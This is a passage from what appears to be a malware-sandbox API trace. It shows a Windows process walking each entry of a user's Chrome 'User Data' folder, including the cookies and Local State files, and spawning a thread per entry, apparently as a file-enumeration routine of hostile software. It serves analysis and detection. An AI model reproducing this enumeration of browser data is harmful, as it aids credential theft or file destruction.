dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c65c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f0 [0152.926] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a6374a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0152.926] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0152.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bd928) returned 1 [0152.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934528) returned 1 [0152.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935590) returned 1 [0152.926] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0152.927] wcscmp (_String1="Default", _String2=".") returned 1 [0152.927] wcscmp (_String1="Default", _String2="..") returned 1 [0152.927] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9acd08 [0152.927] wcscpy (in: _Dest=0x9acd08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.927] wcscat (in: _Dest=0x9acd08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.927] wcscat (in: _Dest=0x9acd08, _Source="Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0152.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9acd08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf24 [0152.928] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0152.928] wcscmp (_String1="EVWhitelist", _String2=".") returned 1 [0152.928] wcscmp (_String1="EVWhitelist", _String2="..") returned 1 [0152.928] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935590 [0152.928] wcscpy (in: _Dest=0x935590, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.928] wcscat (in: _Dest=0x935590, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.928] wcscat (in: _Dest=0x935590, _Source="EVWhitelist" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0152.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ec [0152.929] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0152.929] wcscmp (_String1="FileTypePolicies", _String2=".") returned 1 [0152.929] wcscmp (_String1="FileTypePolicies", _String2="..") returned 1 [0152.929] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4e48 [0152.929] wcscpy (in: _Dest=0x8f4e48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.929] wcscat (in: _Dest=0x8f4e48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.929] wcscat (in: _Dest=0x8f4e48, _Source="FileTypePolicies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0152.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f4e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e8 [0152.930] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0152.931] wcscmp (_String1="First Run", _String2=".") returned 1 [0152.931] wcscmp (_String1="First Run", _String2="..") returned 1 [0152.931] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x934528 [0152.931] wcscpy (in: _Dest=0x934528, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.931] wcscat (in: _Dest=0x934528, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.931] wcscat (in: _Dest=0x934528, _Source="First Run" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" [0152.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e4 [0152.932] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0152.932] wcscmp (_String1="Local State", _String2=".") returned 1 [0152.932] wcscmp (_String1="Local State", _String2="..") returned 1 [0152.932] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935b78 [0152.932] wcscpy (in: _Dest=0x935b78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.932] wcscat (in: _Dest=0x935b78, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.932] wcscat (in: _Dest=0x935b78, _Source="Local State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" [0152.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14dc [0152.933] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0152.933] wcscmp (_String1="OriginTrials", _String2=".") returned 1 [0152.933] wcscmp (_String1="OriginTrials", _String2="..") returned 1 [0152.933] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97b8b8 [0152.933] wcscpy (in: _Dest=0x97b8b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.933] wcscat (in: _Dest=0x97b8b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.933] wcscat (in: _Dest=0x97b8b8, _Source="OriginTrials" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0152.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97b8b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d4 [0152.934] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0152.935] wcscmp (_String1="PepperFlash", _String2=".") returned 1 [0152.935] wcscmp (_String1="PepperFlash", _String2="..") returned 1 [0152.935] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x934288 [0152.935] wcscpy (in: _Dest=0x934288, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.935] wcscat (in: _Dest=0x934288, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.935] wcscat (in: _Dest=0x934288, _Source="PepperFlash" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0152.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x934288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d0 [0152.936] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0152.936] wcscmp (_String1="pnacl", _String2=".") returned 1 [0152.936] wcscmp (_String1="pnacl", _String2="..") returned 1 [0152.936] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9ad668 [0152.936] wcscpy (in: _Dest=0x9ad668, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.936] wcscat (in: _Dest=0x9ad668, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.936] wcscat (in: _Dest=0x9ad668, _Source="pnacl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0152.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9ad668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc [0152.937] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0152.937] wcscmp (_String1="Safe Browsing Channel IDs", _String2=".") returned 1 [0152.937] wcscmp (_String1="Safe Browsing Channel IDs", _String2="..") returned 1 [0152.937] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4ba1d8 [0152.937] wcscpy (in: _Dest=0xd4ba1d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.937] wcscat (in: _Dest=0xd4ba1d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.937] wcscat (in: _Dest=0xd4ba1d8, _Source="Safe Browsing Channel IDs" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" [0152.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4ba1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c8 [0152.938] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1 [0152.938] wcscmp (_String1="Safe Browsing Channel IDs-journal", _String2=".") returned 1 [0152.938] wcscmp (_String1="Safe Browsing Channel IDs-journal", _String2="..") returned 1 [0152.938] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xcc) returned 0x8dd090 [0152.938] wcscpy (in: _Dest=0x8dd090, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.938] wcscat (in: _Dest=0x8dd090, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.938] wcscat (in: _Dest=0x8dd090, _Source="Safe Browsing Channel IDs-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal" [0152.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dd090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c0 [0152.939] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0152.939] wcscmp (_String1="Safe Browsing Cookies", _String2=".") returned 1 [0152.939] wcscmp (_String1="Safe Browsing Cookies", _String2="..") returned 1 [0152.940] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c6ec0 [0152.940] wcscpy (in: _Dest=0xd4c6ec0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.940] wcscat (in: _Dest=0xd4c6ec0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.940] wcscat (in: _Dest=0xd4c6ec0, _Source="Safe Browsing Cookies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" [0152.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c6ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14bc [0152.941] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0152.941] wcscmp (_String1="Safe Browsing Cookies-journal", _String2=".") returned 1 [0152.941] wcscmp (_String1="Safe Browsing Cookies-journal", _String2="..") returned 1 [0152.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc4) returned 0x938ff8 [0152.941] wcscpy (in: _Dest=0x938ff8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.941] wcscat (in: _Dest=0x938ff8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.941] wcscat (in: _Dest=0x938ff8, _Source="Safe Browsing Cookies-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal" [0152.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x938ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b8 [0152.942] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0152.942] wcscmp (_String1="SSLErrorAssistant", _String2=".") returned 1 [0152.942] wcscmp (_String1="SSLErrorAssistant", _String2="..") returned 1 [0152.942] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f47d0 [0152.942] wcscpy (in: _Dest=0x8f47d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.942] wcscat (in: _Dest=0x8f47d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.942] wcscat (in: _Dest=0x8f47d0, _Source="SSLErrorAssistant" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0152.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f47d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b4 [0152.943] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 